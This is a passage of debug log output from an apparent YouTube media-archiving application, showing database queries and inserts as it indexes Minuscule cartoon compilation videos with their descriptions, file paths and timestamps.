https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Ugly | S01E05\n00:04:47 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:09:35 | Caterpillars in Pairs | S01E06\n00:14:22 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:19:05 | Caterpillar Dream | S01E20\n00:23:55 | Narcissus | S01E47\n00:28:43 | Shell-Less | S01E19\n00:33:27 | Lettuce | S01E48\n00:38:13 | The Apple Of Concord | S01E36\n00:43:00 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ugly #admiration #caterpillar #butterfly #ocean #sunset #beach #Minuscule #nature #insects #ladybugs #animatedseries", "Ugly | Minuscule 🍃 60' Compilation", "cfe10066-afac-4b01-92af-32f6e4ccb7a7", "A3ltLruHCPQ", 2900, false, 4, "https://www.youtube.com/watch?v=A3ltLruHCPQ", 26, "/downloads/Miniscule Season 1/2025-08-28 Ugly | Minuscule 🍃 60' Compilation/Ugly | Minuscule 🍃 60' Compilation [A3ltLruHCPQ].mkv", false, false, false, [], 1, ~U[2025-08-28 10:00:12Z], ~U[2025-12-14 07:48:44Z], ~U[2025-12-14 07:48:44Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Ugly | S01E05\n00:04:47 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:09:35 | Caterpillars in Pairs | S01E06\n00:14:22 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:19:05 | Caterpillar Dream | S01E20\n00:23:55 | Narcissus | S01E47\n00:28:43 | Shell-Less | S01E19\n00:33:27 | Lettuce | S01E48\n00:38:13 | The Apple Of Concord | S01E36\n00:43:00 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ugly #admiration #caterpillar #butterfly #ocean #sunset #beach #Minuscule #nature #insects #ladybugs #animatedseries", "Ugly | Minuscule 🍃 60' Compilation", "A3ltLruHCPQ", 2900, false, 4, "https://www.youtube.com/watch?v=A3ltLruHCPQ", "/downloads/Miniscule Season 1/2025-08-28 Ugly | Minuscule 🍃 60' Compilation/Ugly | Minuscule 🍃 60' Compilation [A3ltLruHCPQ].mkv", false, ~U[2025-08-28 10:00:12Z]] 00:48:44.426 [debug] QUERY OK source="sources" db=0.2ms idle=251.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:44.426 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:44.427 [debug] QUERY OK source="media_items" db=0.3ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [96283] 00:48:44.427 [debug] Current batch of media processed. Will check again in 1000ms 00:48:45.428 [debug] Current batch of media processed. Will check again in 1000ms 00:48:46.429 [debug] Current batch of media processed. Will check again in 1000ms 00:48:47.430 [debug] Current batch of media processed. Will check again in 1000ms 00:48:48.431 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Some Weird Fly | S01E78\n00:04:29 | The Last Supper | S01E25\n00:09:18 | Cherry Tomato | S01E77\n00:13:57 | The Ladybug | S01E01\n00:18:34 | Dragonflies | S01E33\n00:23:18 | United We Stand | S01E23\n00:27:45 | Insect High Velocity | S01E53\n00:32:24 | The Zzzzzz Patrol | S01E39\n00:37:02 | Horsefly | S01E21\n00:41:44 | The Wild Bunch | S01E74\n00:46:23 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #cow #aggressive #ladybug #flies #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3093, "filename" => "/downloads/Miniscule Season 1/2025-08-19 Some Weird Fly | Minuscule 🍃 60' Compilation/Some Weird Fly | Minuscule 🍃 60' Compilation [FXHKgSb-GJI].mkv", "id" => "FXHKgSb-GJI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FXHKgSb-GJI", "playlist_index" => 27, "timestamp" => 1755583211, "title" => "Some Weird Fly | Minuscule 🍃 60' Compilation", "upload_date" => "20250819"} 00:48:48.432 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=786.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:48.433 [debug] QUERY OK source="sources" db=0.2ms idle=787.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:48.433 [debug] QUERY OK source="media_items" db=0.6ms idle=788.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-19 06:00:11Z], 4] 00:48:48.437 [debug] QUERY OK source="media_items" db=2.3ms idle=789.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Some Weird Fly | S01E78\n00:04:29 | The Last Supper | S01E25\n00:09:18 | Cherry Tomato | S01E77\n00:13:57 | The Ladybug | S01E01\n00:18:34 | Dragonflies | S01E33\n00:23:18 | United We Stand | S01E23\n00:27:45 | Insect High Velocity | S01E53\n00:32:24 | The Zzzzzz Patrol | S01E39\n00:37:02 | Horsefly | S01E21\n00:41:44 | The Wild Bunch | S01E74\n00:46:23 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #cow #aggressive #ladybug #flies #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "Some Weird Fly | Minuscule 🍃 60' Compilation", "9b7fb492-bdc7-4dec-b6d8-a0971b41ab82", "FXHKgSb-GJI", 3093, false, 4, "https://www.youtube.com/watch?v=FXHKgSb-GJI", 27, "/downloads/Miniscule Season 1/2025-08-19 Some Weird Fly | Minuscule 🍃 60' Compilation/Some Weird Fly | Minuscule 🍃 60' Compilation [FXHKgSb-GJI].mkv", false, false, false, [], 1, ~U[2025-08-19 06:00:11Z], ~U[2025-12-14 07:48:48Z], ~U[2025-12-14 07:48:48Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Some Weird Fly | S01E78\n00:04:29 | The Last Supper | S01E25\n00:09:18 | Cherry Tomato | S01E77\n00:13:57 | The Ladybug | S01E01\n00:18:34 | Dragonflies | S01E33\n00:23:18 | United We Stand | S01E23\n00:27:45 | Insect High Velocity | S01E53\n00:32:24 | The Zzzzzz Patrol | S01E39\n00:37:02 | Horsefly | S01E21\n00:41:44 | The Wild Bunch | S01E74\n00:46:23 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #cow #aggressive #ladybug #flies #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "Some Weird Fly | Minuscule 🍃 60' Compilation", "FXHKgSb-GJI", 3093, false, 4, "https://www.youtube.com/watch?v=FXHKgSb-GJI", "/downloads/Miniscule Season 1/2025-08-19 Some Weird Fly | Minuscule 🍃 60' Compilation/Some Weird Fly | Minuscule 🍃 60' Compilation [FXHKgSb-GJI].mkv", false, ~U[2025-08-19 06:00:11Z]] 00:48:48.437 [debug] QUERY OK source="sources" db=0.4ms idle=254.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:48.438 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:48.439 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95910] 00:48:48.439 [debug] Current batch of media processed. Will check again in 1000ms 00:48:49.440 [debug] Current batch of media processed. Will check again in 1000ms 00:48:50.441 [debug] Current batch of media processed. Will check again in 1000ms 00:48:51.442 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:49 | Out Of A Tin Can | S01E65\n00:09:24 | The Escapist | S01E59\n00:13:53 | Interior Cobwebs | S01E64\n00:18:20 | Picnic | S01E24\n00:23:04 | Windswept | S01E68\n00:27:53 | No Luck | S01E62\n00:32:36 | The Ladybug | S01E01\n00:37:12 | O Tannenbaum | S01E71\n00:41:52 | King Size Camembert | S01E45\n00:46:31 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3108, "filename" => "/downloads/Miniscule Season 1/2025-08-23 Zzzeplin | Minuscule 🍃 60' Compilation/Zzzeplin | Minuscule 🍃 60' Compilation [vWqhcR23l7I].mkv", "id" => "vWqhcR23l7I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vWqhcR23l7I", "playlist_index" => 28, "timestamp" => 1755972051, "title" => "Zzzeplin | Minuscule 🍃 60' Compilation", "upload_date" => "20250823"} 00:48:51.443 [debug] QUERY OK source="sources" db=0.3ms idle=1797.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:51.443 [debug] QUERY OK source="sources" db=0.2ms idle=1798.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:51.444 [debug] QUERY OK source="media_items" db=0.7ms idle=1798.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-23 18:00:51Z], 4] 00:48:51.447 [debug] QUERY OK source="media_items" db=1.6ms idle=1258.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:49 | Out Of A Tin Can | S01E65\n00:09:24 | The Escapist | S01E59\n00:13:53 | Interior Cobwebs | S01E64\n00:18:20 | Picnic | S01E24\n00:23:04 | Windswept | S01E68\n00:27:53 | No Luck | S01E62\n00:32:36 | The Ladybug | S01E01\n00:37:12 | O Tannenbaum | S01E71\n00:41:52 | King Size Camembert | S01E45\n00:46:31 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "Zzzeplin | Minuscule 🍃 60' Compilation", "d0619c50-12e3-4c01-b0fc-8e85f2d42e33", "vWqhcR23l7I", 3108, false, 4, "https://www.youtube.com/watch?v=vWqhcR23l7I", 28, "/downloads/Miniscule Season 1/2025-08-23 Zzzeplin | Minuscule 🍃 60' Compilation/Zzzeplin | Minuscule 🍃 60' Compilation [vWqhcR23l7I].mkv", false, false, false, [], 1, ~U[2025-08-23 18:00:51Z], ~U[2025-12-14 07:48:51Z], ~U[2025-12-14 07:48:51Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:49 | Out Of A Tin Can | S01E65\n00:09:24 | The Escapist | S01E59\n00:13:53 | Interior Cobwebs | S01E64\n00:18:20 | Picnic | S01E24\n00:23:04 | Windswept | S01E68\n00:27:53 | No Luck | S01E62\n00:32:36 | The Ladybug | S01E01\n00:37:12 | O Tannenbaum | S01E71\n00:41:52 | King Size Camembert | S01E45\n00:46:31 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "Zzzeplin | Minuscule 🍃 60' Compilation", "vWqhcR23l7I", 3108, false, 4, "https://www.youtube.com/watch?v=vWqhcR23l7I", "/downloads/Miniscule Season 1/2025-08-23 Zzzeplin | Minuscule 🍃 60' Compilation/Zzzeplin | Minuscule 🍃 60' Compilation [vWqhcR23l7I].mkv", false, ~U[2025-08-23 18:00:51Z]] 00:48:51.447 [debug] QUERY OK source="sources" db=0.2ms idle=258.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:51.448 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:51.448 [debug] QUERY OK source="media_items" db=0.4ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95911] 00:48:51.449 [debug] Current batch of media processed. Will check again in 1000ms 00:48:52.450 [debug] Current batch of media processed. Will check again in 1000ms 00:48:53.451 [debug] Current batch of media processed. Will check again in 1000ms 00:48:54.452 [debug] Current batch of media processed. Will check again in 1000ms 00:48:55.453 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Come Christmas | S01E63\n00:04:38 | The Mosquito | S01E58\n00:08:48 | The Winter Of Our Discontent | S01E67\n00:13:37 | O Tannenbaum | S01E71\n00:18:16 | A Mosquito Day Afternoon | S01E72\n00:22:56 | Bless You! | S01E66\n00:27:07 | Interior Cobwebs | S01E64\n00:31:34 | King Size Camembert | S01E45\n00:36:13 | Picnic | S01E24\n00:40:57 | Windswept | S01E68\n00:45:46 | A Gust Of Wind | S01E13\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Christmas #snowing #mosquito #fireplace #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3059, "filename" => "/downloads/Miniscule Season 1/2025-08-14 Come Christmas | Minuscule 🍃 60' Compilation/Come Christmas | Minuscule 🍃 60' Compilation [uvcd_nvOz7g].mkv", "id" => "uvcd_nvOz7g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uvcd_nvOz7g", "playlist_index" => 29, "timestamp" => 1755165694, "title" => "Come Christmas | Minuscule 🍃 60' Compilation", "upload_date" => "20250814"} 00:48:55.454 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=808.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:55.455 [debug] QUERY OK source="sources" db=0.2ms idle=809.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:55.456 [debug] QUERY OK source="media_items" db=0.8ms idle=810.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-14 10:01:34Z], 4] 00:48:55.458 [debug] QUERY OK source="media_items" db=1.7ms idle=811.5ms INSERT INTO "media_items" AS m0 